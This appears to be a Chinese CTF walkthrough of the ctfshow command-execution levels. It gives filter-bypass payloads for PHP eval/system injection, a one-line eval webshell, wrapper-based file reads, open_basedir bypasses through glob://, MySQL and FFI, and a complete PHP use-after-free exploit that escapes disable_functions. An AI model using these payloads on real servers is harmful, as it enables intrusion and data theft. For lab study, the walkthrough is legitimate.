当前位置: 首页 > news >正文

ctfshow-命令执行

web29

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

代码解释判断是否存在GET型参数c 如果存在赋值给变量c 如果参数值没有匹配到字符串flag则执行代码 eval()

直接传参

第一种方法

?c=system('ls');

?c=system('tac f*');

第二种

?c=system('cp f* 1.txt');

访问1.txt

第三种

highlight_file(next(array_reverse(scandir("."))));

解释:具体来说,scandir(".") 函数会返回当前文件所在目录下的所有文件和目录的名称列表,并以数组的形式返回。然后,array_reverse() 函数会将该数组翻转,使得最后修改的文件排在数组的第一个位置。接着,next() 函数会返回该数组的第一个元素,即最后修改的文件的名称。

第四种 尝试写木马

file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27); 

第五种 

这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。

include可以和过滤器联合使用
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

知识点 

1 eval函数可以理解为代码执行 动态执行php代码

2 system函数可以理解为命令执行 执行shell命令

3 php最后一个语句可以没有分号

eval(phpinfo()) 无输出结果

eval(phpinfo();)有输出结果

eval(phpinfo()?>) 有输出结果

4 file _get_contents() 获取文件内容 以字符串方式返回 这道题屏蔽了flag.php所以不能使用这个

web30

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

?c=`cp f* 1.txt`;

知识点:反引号在php中类似于system函数 可以执行shell命令

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

 连点都被过滤了

可以嵌套一个eval

?c=eval($_GET[1]);&1=phpinfo();

为什么要嵌套?c=$_GET[1]&1=phpinfo();不行嘛

不行 如果不使用函数是无法获取到变量的 简单理解就行不要想深

?c=eval($_GET[1]);&1=system('ls');

?c=eval($_GET[1]);&1=system('tac f*');

知识点 这就逃逸出来了参数1的值不属于参数c的内容 所以检测不到

第二种方法

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

pos(localeconv())返回一个. 硬背就行

scandir()获取当前目录下的文件名组成一个数组 按照顺序进行排序 最后修改在最后面

array_reverse()翻转数组

next()获取第一个数组的值

show_source()展示页面源代码

web32

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

空格单引号反引号 还有括号都给禁用了 

知识点:include可以读取非php文件内容输出直接输出到页面,当使用 include 包含一个非 PHP 文件时,PHP 解释器会将这个文件的内容视为纯文本,并将其直接输出到浏览器

/?c=include%0a$_GET[1]?>&1=/etc/passwd 输出该文件内容

二进制文件也是可以输出的/?c=include%0a$_GET[1]?>&1=/bin/ls

?c=include%0a$_GET[1]?>&1=flag.php 虽然包含了但是因为是php文件所以不输出 

但是可以使用过滤器

php://filter/read=convert.base64-encode/resource=flag.php

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

我的理解就是 过滤器获取到php文件的内容后生成了base64编码后的字符串 include包含进来 无法判定是php代码 所以直接进行输出 然后进行解码即可

web33

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

使用上一关payload即可多加了一个双引号 无影响

使用require也行和include一个效果都是用于文件包含

?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了冒号 没用 上一题payload也行 因为他识别c的内容 虽然通过1给c传值 但是1的值不属于c 

?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

知识点

?c=print%0a$_GET[1]?>&1=phpinfo() 会输出字符串phpinfo()

web35

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

又过滤了<和= 没用 依旧使用上一题payload即可

?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36

过滤了1-9

第一种方法

?c=require%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

第二种方法

data://text/plain 是一种 PHP 中的数据流协议,它允许将数据作为 URL 直接嵌入到 PHP 代码中。具体来说,这个协议用于将纯文本数据嵌入到 PHP 脚本中,而不必将其放在单独的文件中

?c=include%0a$_GET[a]?>&a=data://text/plain,<?php system("cat fla*");?>

web37

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

包含一个文件$c 显然$c的值不能是flag.php

那就使用伪协议

对于我的理解: 过程就是使用data伪协议传输数据流 include包含这个数据流 包含进来服务器就会php识别出为php代码从而执行php代码 如果不是php代码include包含进来就自动输出到页面中

第一种方法

?c=data://text/plain,<?php%20system("cat%20fla*");?>

第二种方法

因为是过滤了flag还可以这么写

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg===<?php system('cat flag.php');?>

过程就是data将数据传给变量c 然后include包含后 数据流进行解密然后执行代码

web38

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

禁用了php 可以使用上一题的第二种方法也可以

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

上一题的第一种方法改变一下写法也可以

?c=data://text/plain,<?=system("tac fla*")?>

web39

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}}else{highlight_file(__FILE__);
}

强制在include后方加.php  无影响

?c=data://text/plain,<?php%20system("cat%20fla*");?>

举个例子 使用phpinfo() 

?c=data://text/plain,<?php%20phpinfo();?> 

include会包含 <?php%20phpinfo();?> .php 服务器识别出php代码从而执行默认会将phpinfo结果输出页面  然后.php字符串 前面也说了include包含纯文本内容会将页面内容输出 所以在最下方会输出.php

web40

<?php
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

get_defined_vars() 是一个 PHP 内置函数,用于返回当前作用域中所有已定义的变量和它们的值。

?c=print_r(get_defined_vars());

加上post参数1=phpinfo();

?c=print_r(next(get_defined_vars()));

输出

?c=print_r(array_pop(next(get_defined_vars())));

对数组的值进行弹出 也就是键值对 的值弹出

执行即可

?c=eval(array_pop(next(get_defined_vars())));

GET:  ?c=eval(array_pop(next(get_defined_vars())));

POST:1=system('ls');

GET:  ?c=eval(array_pop(next(get_defined_vars())));

POST:1=system('tac flag.php');

web41

<?php
if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}
?>

构造无字幕RCE 禁用了异或 并且禁用了取反 还有一种方式就是或方式构造

传参得出flag

web42

<?php
if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}

system($c." >/dev/null 2>&1");

将$c的输出 输出到黑洞中 错误输出(2)输出到标准输出(1)输出的位置 也就代表标准输出和错误输出都输出到黑洞 

解决方案就是 双写绕过

?c=ls;ls 就变成了system(ls;ls." >/dev/null 2>&1"); 第二个ls的输出 输出到黑洞中 第一个ls正常输出到页面中 这个姿势就是双写绕过

或者

?c=tac%20flag.php%0a 就变成了

system(tac%20flag.php

." >/dev/null 2>&1");

这种格式 能输出 黑洞获取不到任何信息

或者

?c=cat%20flag.php;&2 和双写一个意思 就是正常输出第一个语句 然后&2>/dev/null

web43

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

把分号过滤了 不能使用双写方式绕过

上一题的第二种方法或者换一个更有意思的姿势

?c=tac%20flag.php&& 就变成了

system(tac%20flag.php&&." >/dev/null 2>&1"); 

&& 和and差不多意思 前面的语句执行成功才会执行后面的语句

传参的时候要将&&进行url编码%26%26 因为&在传参中会被识别为参数的分隔符

web44

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

过滤了flag 用通配符即可绕过

?c=tac%20fl*%26%26

?c=tac%20fl*%0a

知识点:nl和cat一样效果

web45

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

多过滤了空格 使用%09 意思就是tab 四个空格的位置

?c=tac%09fl*%26%26

换一个姿势

?c=echo$IFS`tac%09fl*`%0A

echo$IFS $IFS里面包含空格制表符等 

翻译号的效果和system效果一样 

web46

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

不能有*和数字

换一个通配符?即可?c=tac%09fla?.php%26%26 

这个%09%26中的数字 是匹配不到的 因为到服务器端后 %09就变成tab键的四个空格 %26就变成&了

换一个姿势

?c=nl<fla%27%27g.php%7C%7C

将flag.php的内容 输入给nl 然后nl进行输出 

fl''ag代表的就是flag 

|| 有一个真则为真 

web47

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

禁用了很多输出字符的命令 但是依旧没有禁用tac nl使用上一题poyload即可

?c=nl<fla%27%27g.php%7C%7C

web48

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

过滤了更多读取文件的命令 依旧没有过tac nl 继续白嫖

这两道题告诉我们 木桶原则太重要了 只要有一个出现问题 其余再好也没用

?c=nl<fla%27%27g.php%7C%7C

web49

<?php
、if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

同理 说一嘴在这里传参直接传||就可以不用url编码也是可以的

?c=nl<fla%27%27g.php%7C%7C

?c=nl<fla%27%27g.php||

web50

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

这个时候 x09 x26都没了 不影响我们的payload

?c=nl<fla%27%27g.php|| 

在这里又说一嘴 在这里为什么不能用?通配符 解释:nl不支持 所以使用两个单引号也行

web51

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

可算过滤了tac了 但是还有nl

?c=nl<fla%27%27g.php|| 

web52

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

过滤了<  但是没有过滤$

nc用不了了

知识点$IFS是可以被正则匹配到的 $IFS在shell中代表空格制表符 所以前提是system执行时他才代表制表符等

?c=cp$IFSfla?.php$IFSa.txt|| 不行

可能就是没有写权限 试一下mv 也不行?c=mv$IFSfla?.php$IFSa.txt|| 也不行

换一种写法 就可以了 也不知道什么原因 硬背就行 当是一个姿势 知道原因了

如果不使用花括号,shell 可能会将变量的名称与其他字符连接在一起,导致无法正确解析变量

?c=cp${IFS}fla?.php${IFS}a.txt||

?c=mv${IFS}fla?.php${IFS}a.txt||

flag并没有在里面 看来是假的flag

?c=ls$IFS/||

?c=pwd||

?c=mv${IFS}/fla?${IFS}/var/www/html/d.txt|| 不可以

?c=cp${IFS}/fla?${IFS}d.txt|| 在根目录下不存在

?c=cp${IFS}/fla?${IFS}/var/www/html/d.txt|| 可以

换个姿势 前提知道文件位置 nl用来读取文件

?c=nl${IFS}/fla%27%27g||

 web53                                                        

?c=ca%27%27t${IFS}fla?.php

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){echo($c);$d = system($c);echo "<br>".$d;}else{echo 'no';}
}else{highlight_file(__FILE__);
}

system函数的返回值是返回的结果的最后一行

web54

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

?c=ls

?c=mv${IFS}fl?g.php${IFS}a.txt

web55

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

不能有字母 那就要使用经典无字母rce了

方法1  ?c=/???/????64%20????.??? 可以理解为

?c=/bin/base64%20flag.php(为啥用base64?因为它含有数字64可以用????64来匹配,其他命令无法匹配到)

当你使用 /bin/base64 flag.php 命令时,它会读取 flag.php 文件中的内容,并将其转换成 base64 编码的形式输出。

本地测试

实战

方法2 使用/usr/bin/bzip2 对文件进行压缩

?c=/???/???/????2 ????.???

最后访问/flag.php.bz2即可

方法3 比较经典 这是一个上传文件的模版 向指定url的服务器上传文件 然后服务器会自动将上传的文件放置指定目录 在linux里面临时存放文件的目录可能会被定时删除 这个目录是/tmp,然后一般网页文件会命名为php???,后面是随机的字母,即:/tmp/phpXXXXXX 所以我们需要规定一个范围[@-[],从@-[就是26个字母大写的 php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了

构造一个 post 请求并上传文件。由于没有过滤 “ . ”(点),所以通过执行文件中的 Linux 命令获取 flag。 Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://27622056-3638-418a-95d0-7a217d279e6a.challenge.ctf.show/" method="post" enctype="multipart/form-data"><!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

抓包并修改

在 burp 拦截中,通过 GET 方式传递: ?c=.%20/???/????????[@-[]

并在上传文件内容添加sh命令: #!/bin/bash pwd

第四种方法 使用八进制

使用

$'\154\163'

会执行ls

故payload是

/?c=$'\143\141\164'%20*

解释 

首先,$ 符号在命令行中通常用来表示命令提示符,表示后续的内容是要在命令行中执行的。

接下来,%27 是对单引号字符 ' 的 URL 编码表示。URL 编码是一种将特殊字符转换成百分号(%)后跟两位十六进制数的表示方式。在这个例子中,%27 表示字符 '

然后,\143\141\164 是对字符串 "cat" 的八进制编码表示。在八进制编码中,\ 后面跟着三个数字表示一个字符的八进制 ASCII 值。在这个例子中,\143 表示字符 'c',\141 表示字符 'a',\164 表示字符 't'。

web56

与web55同理 

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

没有过滤点

从而使用上一关第三种方法即可

  • Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。
  • Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。
  • ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间

web57

$((~$(())))=-1

需要36个

最外层$((~$(())))需要取反-36变+36
payload为

?c=$((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))

))))

更简单的方法

${##}${##}=11 ${##}=1

echo $((${##}${##}+${##}${##}+${##}${##}+${##}+${##}+${##})) 也是36
注意 这个#容易出问题先url编码

web58

开始禁用函数

<?php
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

没难度

system被禁用

换一个 c=highlight_file(next(array_reverse(scandir("."))));

web59

同理

echo file_get_contents('flag.php'); 函数被禁用了

c=highlight_file(next(array_reverse(scandir(".")))); 高亮显示文件即可

web60

c=highlight_file(next(array_reverse(scandir(".")))); 高亮显示文件即可

web61

同理 完整步骤先看一下啊当前目录下的文件

c=var_dump(scandir(dirname('FILE')));

c=highlight_file('flag.php'); 高亮显示文件即可

又学一个姿势

方法二

使用u-a 把内容写进日志里去/var/log/nginx/access.log

然后证明一下能不能执行命令 发现可以

连接蚁剑即可

web62

同理高亮显示即可

使用新姿势

include('flag.php');echo $flag;

又来一个新姿势 重命名

web63

同理高亮即可

使用新姿势

先包含然后输出所有变量

web64

同理高亮即可

web65

同理高亮即可

web66

c=print_r(scandir("/"));
c=highlight_file('/flag.txt');

web67

与上一题同理

c=print_r(scandir("/"));
c=highlight_file('/flag.txt');

web68

原始页面报个错误 无法高亮显示  源代码和前面是一样的

c=show_source("/flag.txt");  输出页面信息函数也不让用了

那就c=include $_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

c=include('/flag.txt'); 也可以 因为知道不是php文件了 是纯文本文件了 所以直接包含 就能把文本内容输出

web69

同web68

c=include('/flag.txt');

c=include $_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=/flag.txt

web70

同理

方法一

c=include('/flag.txt');

方法二

c=include $_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=/flag.txt

web71

访问后

下载源码

<?phperror_reporting(0);
ini_set('display_errors', 0);# 不在浏览器输出php报错信息了
// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{highlight_file(__FILE__);
}?>你要上天吗?

        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s); 这个替换很关键 他不上查看内容 

获取缓冲区内容赋值到变量s中 然后清空缓冲区造成无法正常输出到浏览器的内容

那么就c=include('/flag.txt');die("hello"); 执行完命令后直接退出脚本防止清除缓冲区从而输出内容到浏览器c=include('/flag.txt');exit(0);也可以

web72

<?phperror_reporting(0);
ini_set('display_errors', 0);# 不在浏览器输出php报错信息了
// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{highlight_file(__FILE__);
}?>你要上天吗?

和上一题代码一样

1 c=var_export(scandir("."));die("hello"); 

目录下有个flag.php

2 c=include("flag.php");echo $flag;die("hello");

查看flag文件 发现不在这里 

3 c=var_export(scandir("/"));die("hello");

 查看根目录下有什么 发现报错 /不允许输出在路径中查看根目录(那就是没有权限)并且有报错open_basedir

open_basedir 是一个 PHP 安全性特性,它定义了 PHP 脚本可访问的目录范围,限制了脚本的访问权限

那就直接利用php脚本读目录 使用glob://伪协议绕过open_basedir

它使用 DirectoryIterator 类来遍历当前目录下的文件和文件夹,并将它们的名称输出到浏览器

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

c=include("/flag0.txt");exit(0);

发现inculde依旧不能包含 安全特性所限制目录的文件

uaf绕过open_basedir安全特性从而可以读取所限制目录下的文件

一个通用的poc  最下方修改我们需要执行的shell命令 需要进行url编码 使用时用脚本内容 不用把<?php带上

<?phpfunction ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit();
}ctfshow("cat /flag0.txt");ob_end_flush();
?>

 web73

用不了上一题的通用poc了 因为禁用了strlen 但是可以改一个函数自定义一个函数只要是能实现strlen效果即可

c=var_export(scandir('/'));exit(0);

根目录下有一个flagc.txt文件

c=include('/flagc.txt');exit(0);

web74

禁用了scandir函数 

那就使用web72的glob协议 查看目录下文件

直接包含这个文件

web75

和上一题一样 

文件换成了flag36.txt 但是禁用了include函数

直接ai搜索 和include一样的函数有哪些

require也不行 file_get_contents函数也不行 

判断当前数据库

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){echo($row[0])."|"; 
}exit();

那就用数据库读

c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();

web76

同理 用glob协议 然后用数据库读

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

使用数据库连接的时候报错

但是报 could not find driver的错误,表明此题无法使用PDO连接数据库

查看writeup,此题利用的是PHP 7.4+的FFI特性,即外部函数接口特性

提示 看来这个很牛呀

同理使用glob扫目录 发现flag36x.txt和readflag 但是文件包含都不行了

那就是用提示说的FFI特性 简单理解就是通过FFI,可以实现调用system函数,从而执行命令

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

 web118

是一个窗口 

查看源码 发现是system($code) 命令执行

经过测试禁用了很多东西 很多很多

$IFS可以 思路就是使用系统变量 构造我需要的poc

这些都是系统的环境变量

这是答案${PATH:~A}${PWD:~A}$IFS????.???

解释一下

PATH变量输出结尾一般都是n

因为网站默认根目录为/var/www/html 所以${PWD:~A}取值就是l

题目还提示flag在flag.php中

所以就是${PATH:~A}${PWD:~A}$IFS????.???

翻译过来就是 nl flag.php

注意 因果过滤了很多 如何判断过滤了哪些呢 写一个小字典把所有字符写出来 然后使用bp爆破 因为如果是过滤的页面就会返回evil input 否则什么都没有 这么一看数据包是有区别的 最后发现可以用发现可以用大写字母A-Z${}~.?:

web119

大师傅讲的我没有听懂 太难了根本理解不了

但是网上找的都好理解

首先看

linux bash内置变量表

第一种方法 

答案是

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

使用的方法是 /bin/base64 flag.php的方式

/使用${PWD::${#SHLVL}}构造

4使用${#RANDOM}构造 

因为RANDOM属于随机变量 输出4或者5 所以多提交几次即可

第二种方法

${PWD} :/var/www/html
${USER} :www-data
${HOME} :当前用户的主目录

开始构造:可以构造一下/bin/cat
/:${PWD::${#SHLVL}}
a:${USER:~A}
t:${USER:~${#SHLVL}:${#SHLVL}}

构造出/bin/cat flag.php

答案是

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

